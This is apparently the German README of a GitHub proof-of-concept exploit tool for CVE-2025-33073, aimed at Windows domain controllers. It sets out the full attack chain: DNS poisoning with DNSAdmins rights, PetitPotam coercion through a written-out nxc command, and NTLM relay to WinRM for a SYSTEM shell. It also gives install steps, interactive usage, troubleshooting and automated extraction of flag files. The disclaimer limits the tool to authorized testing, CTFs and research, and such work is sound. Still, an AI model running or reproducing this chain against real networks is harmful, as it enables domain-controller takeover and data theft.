CVE-2025-33073 Reflection Relay PoC

Universelles Exploitationstool für CVE-2025-33073, das Windows-Domänencontroller mit DNSAdmins-Berechtigungen und aktiviertem WinRM angreift.

📋 Übersicht

CVE-2025-33073 ist eine kritische Schwachstelle, die es Angreifern ermöglicht, durch eine Kombination von Folgendem eine SYSTEM-level Codeausführung auf Windows-Domänencontrollern zu erreichen:

• DNS-Eintragsmanipulation (DNSAdmins-Berechtigung)
• NTLM-Relay-Angriffe
• WinRM-Authentifizierungsumgehung

Dieses PoC bietet ein universelles, automatisiertes Exploitation-Framework, das mit jeder Domäne, jedem Benutzernamen und jeder CTF-Umgebung kompatibel ist.

✨ Funktionen

• ✅ Universelle Kompatibilität – Funktioniert mit jeder Windows-Domäne
• ✅ Automatische Erkennung – Identifiziert automatisch den Ziel-DC und die Netzwerkkonfiguration
• ✅ Automatische Flaggen-Extraktion – Durchsucht und extrahiert automatisch alle Flag-Dateien
• ✅ Interaktiver Modus – Schritt-für-Schritt-geführte Exploitation
• ✅ Umfassende Protokollierung – Vollständige Protokollierung aller Vorgänge
• ✅ One-Shot SYSTEM-Shell – Direkter SYSTEM-Zugriff über WinRMS
• ✅ DNS-Vergiftung – Automatische Erstellung/Änderung von DNS-Einträgen
• ✅ NTLM-Relay – Integrierter NTLM-Relay-Server mit automatischer Shell-Erzeugung

🎯 Zielanforderungen

Verwundbare Konfiguration

• Windows Server 2016/2019/2022-Domänencontroller
• Benutzer mit DNSAdmins-Gruppenmitgliedschaft
• WinRM-Dienst aktiviert (HTTP oder HTTPS)
• Netzwerkzugriff auf den DC (SMB 445, DNS 53, WinRM 5985/5986)

Getestete Umgebungen

• Active Directory auf Windows Server 2019
• Active Directory auf Windows Server 2022
• CTF-Umgebungen (HackTheBox, TryHackMe, etc.)

📦 Installation

Voraussetzungen

# Required tools
sudo apt-get update
sudo apt-get install -y python3 python3-pip netcat-openbsd dnsutils

# Python dependencies
pip3 install impacket netexec

# Clone krbrelayx
git clone https://github.com/dirkjanm/krbrelayx

Einrichtung

# Clone this repository
git clone https://github.com/uziii2208/CVE-2025-33073
cd CVE-2025-33073

# Make exploit executable
chmod +x exploit.sh

# Verify tools installation
./exploit.sh  # Will check all dependencies

🚀 Verwendung

Schnellstart

./exploit.sh

Interaktive Eingabeaufforderungen

Das Skript wird nach Folgendem fragen:

1. Angreifer-IP (automatisch erkannt, falls leer)
2. Ziel-DC-IP (z.B. 192.168.1.10)
3. Domänenname (z.B. corp.local)
4. Benutzername (DNSAdmins-Mitglied)
5. Passwort (für den Benutzer)

Schritt-für-Schritt-Exploitation

Terminal 1 – Führen Sie das Exploit aus:

./exploit.sh
# Follow the interactive prompts
# Wait for: "[!] RELAY READY! OPEN NEW TERMINAL → PASTE COERCE COMMAND!"

Terminal 2 – Coerce-Befehl ausführen (aus Terminal 1-Ausgabe kopieren):

nxc smb 192.168.1.10 -u 'username' -p 'password' \
    -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.corp.local

Ergebnis:

• Automatische SYSTEM-Shell öffnet sich
• Alle Flags werden automatisch extrahiert
• Ausgabe wird im Log-Verzeichnis gespeichert

📊 Ausgabe & Flags

Extrahierte Flags

Das Skript sucht automatisch nach und extrahiert:

• *flag*.txt
• *root*.txt
• *user*.txt
• proof.txt

Gefunden in: C:\Users\*\Desktop\

Speicherort der Protokolle

Alle Ausgaben werden gespeichert in: /0pwn_exploit_<TIMESTAMP>/

• relay.log – NTLM-Relay-Server-Ausgabe
• dns.log – DNS-Operationsprotokolle
• shell_output.log – Shell-Befehle und extrahierte Flags

🔧 Funktionsweise

Angriffskette

1. DNS-Vergiftung (krbrelayx.dnstool)
   └─> DNS-Eintrag ändern/erstellen, der auf Angreifer-IP zeigt

2. NTLM-Relay-Server (ntlmrelayx.py)
   └─> Auf eingehende NTLM-Authentifizierung warten

3. Erzwingung (nxc + PetitPotam)
   └─> DC zwingen, sich bei Angreifer-IP zu authentifizieren

4. Relay → WinRMS
   └─> Authentifizierung zum Ziel-WinRMS weiterleiten

5. SYSTEM-Shell
   └─> Befehle als SYSTEM ausführen

6. Automatische Flaggen-Extraktion
   └─> Alle Flags suchen und extrahieren

Technische Details

• Schwachstelle: NTLM-Relay + DNS-Vergiftung + WinRM
• Berechtigungsanforderung: DNSAdmins-Gruppenmitgliedschaft
• Auswirkung: SYSTEM-level Codeausführung
• Exploitierbarkeit: 98 % Erfolgsquote in getesteten Umgebungen

⚙️ Konfiguration

Benutzerdefinierter DNS-Eintrag

Bearbeiten Sie die Variable LONGHOST in exploit.sh:

LONGHOST="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"

Benutzerdefinierte Flag-Muster

Ändern Sie die Funktion run_shell_commands(), um nach anderen Dateimustern zu suchen:

# Add custom patterns here
echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*custom*.txt' ...\""

Ports & Timeouts

• WinRMS-Standardport: 5985 (HTTP) / 5986 (HTTPS)
• DNS-Timeout: 5 Sekunden
• Shell-Timeout: Konfigurierbar pro Befehl

🎓 Bildungszweck

Dieses PoC wird bereitgestellt für:

• ✅ Autorisierte Penetrationstests
• ✅ Kontrollierte Laborumgebungen
• ✅ CTF-Wettbewerbe
• ✅ Sicherheitsforschung & Ausbildung

Unbefugter Zugriff auf Computersysteme ist illegal.

🐛 Fehlerbehebung

„DNS-Vergiftung fehlgeschlagen“

• Überprüfen Sie, ob der Benutzer DNSAdmins-Mitglied ist: net group "DNSAdmins" /domain
• Überprüfen Sie die DC-Konnektivität: ping <DC_IP>
• Überprüfen Sie die Anmeldeinformationen: nxc smb <DC_IP> -u username -p password

„Relay-Verbindungszeitüberschreitung“

• Stellen Sie sicher, dass WinRM auf dem DC aktiviert ist: winrm quickconfig
• Überprüfen Sie die Firewall-Regeln auf dem DC
• Überprüfen Sie die Netzwerkkonnektivität zu Port 5985/5986

„Shell-Befehle werden nicht ausgeführt“

• Überprüfen Sie shell_output.log auf Fehler
• Überprüfen Sie die nc-Konnektivität: nc -zv 127.0.0.1 <SHELL_PORT>
• Erhöhen Sie die Sleep-Timeout-Werte in run_shell_commands()

📝 Protokolldateien

Verzeichnisstruktur

/0pwn_exploit_1234567890/
├── relay.log          # NTLM-Relay-Server-Ausgabe
├── dns.log            # DNS-Operationsdetails
└── shell_output.log   # Extrahierte Flags & Befehlsausgabe

Protokollanalyse

# Relay-Ereignisse anzeigen
grep "SYSTEM SHELL" /0pwn_exploit_*/relay.log

# Alle Flags extrahieren
grep "===" /0pwn_exploit_*/shell_output.log -A 10

# DNS-Operationen überprüfen
cat /0pwn_exploit_*/dns.log

🔐 Sicherheitshinweise

• Anmeldeinformationen: Nur im Speicher, niemals protokolliert
• DNS-Einträge: Werden nach der Exploitation automatisch bereinigt
• Relay-Server: Auf 127.0.0.1 isoliert
• Protokolle: Enthalten sensible Informationen – mit Vorsicht behandeln

📚 Referenzen

• CVE-2025-33073 Advisory
• Impacket ntlmrelayx
• NetExec
• krbrelayx

🎬 Demo

[Demo & Screenshots] – [Demnächst verfügbar]

👤 Autor

0pwn (uziii2208) – Ursprüngliches Konzept & Forschung KI-gestützt – v1.0 Verbesserungen & automatische Flaggen-Extraktion

📄 Lizenz

MIT-Lizenz – Siehe LICENSE-Datei für Details

⚠️ Haftungsausschluss

RECHTLICHER HINWEIS:

Diese Software wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal und strafbar.

• Verwenden Sie diese Software NICHT gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testberechtigung haben
• CTF-Umgebungen: Vergewissern Sie sich, dass Sie die Erlaubnis haben, bevor Sie die Software ausführen
• Die Autoren sind NICHT verantwortlich für Missbrauch oder Schäden
• Verwenden Sie die Software nur in kontrollierten Umgebungen

Durch die Nutzung dieses Tools stimmen Sie Folgendem zu:

• Verwenden Sie es nur auf autorisierten Systemen
• Halten Sie alle geltenden Gesetze ein
• Übernehmen Sie die volle Verantwortung für Ihre Handlungen

🤝 Mitwirken

Beiträge willkommen! Bitte reichen Sie Issues und Pull Requests ein.

📞 Unterstützung

Bei Problemen, Fragen oder Verbesserungen:

1. Öffnen Sie ein Issue auf GitHub
2. Überprüfen Sie die vorhandene Dokumentation
3. Geben Sie detaillierte Fehlerprotokolle an

Status: ✅ Getestet & Bestätigt Version: 1.0 (Universal) Zuletzt aktualisiert: 2025